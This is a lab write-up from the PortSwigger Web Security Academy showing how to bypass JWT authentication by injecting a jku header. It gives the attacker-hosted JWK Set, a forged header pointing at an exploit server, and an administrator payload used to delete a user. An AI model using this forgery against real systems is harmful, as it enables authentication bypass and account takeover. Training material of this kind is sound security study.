Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type JWT Attacks
Difficulty Practitioner
Objective Host a malicious JWK Set on the exploit server, inject the URL via the jku header, and forge a JWT as administrator to delete carlos

JWT Authentication Bypass via JKU Header Injection

I logged in as wiener:peter and decoded the session JWT:

Screenshot

Header:

{"kid":"68f3c097-143e-4135-9322-c7c54c51c288","alg":"RS256"}

RS256 again, but this time the jku parameter is in play. Instead of embedding the key directly in the token, jku provides a URL the server fetches to retrieve a JWK Set containing the correct public key. jku is SSRF by design when there's no domain whitelist — the server makes an outbound HTTP request to whatever URL the token specifies. Without a strict allowlist, we can point it at our exploit server.

The difference from jwk injection is where the public key lives: embedded in the token itself (jwk) vs. hosted externally and fetched by the server (jku). Both exploit the same trust failure — the server accepts attacker-controlled key material — but jku adds a network fetch step and requires reachable infrastructure.

I generated a new RSA key pair in Burp's JWT Editor Keys tab:

Screenshot

I hosted a JWK Set containing our public key at the exploit server's /exploit path:

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "368a362c-1506-4b53-987e-0a80469cee4e",
            "n": "kxPqSQDTOluCdF3dqBVApgiHYFiIqy0znOljV_urcw279MawKrf7..."
        }
    ]
}
Screenshot

In Repeater, I modified the JWT header and payload. The kid must match the kid of our key in the hosted JWK Set — the server fetches the set and looks up the key by kid. If they don't match, verification fails even if the right key is in the set:

Header:

{
    "kid": "368a362c-1506-4b53-987e-0a80469cee4e",
    "alg": "RS256",
    "jku": "https://exploit-0a2500a5036a8b89806d669c010000e8.exploit-server.net/exploit"
}

Payload:

{
    "iss": "portswigger",
    "exp": 1783043115,
    "sub": "administrator"
}

I clicked "Sign" and selected our RSA key. The token is signed with our private key — the server verifies it using the matching public key it fetches from the jku URL.

Screenshot
Screenshot

Admin panel loaded. Deleted carlos:

Screenshot

Lab solved

Resources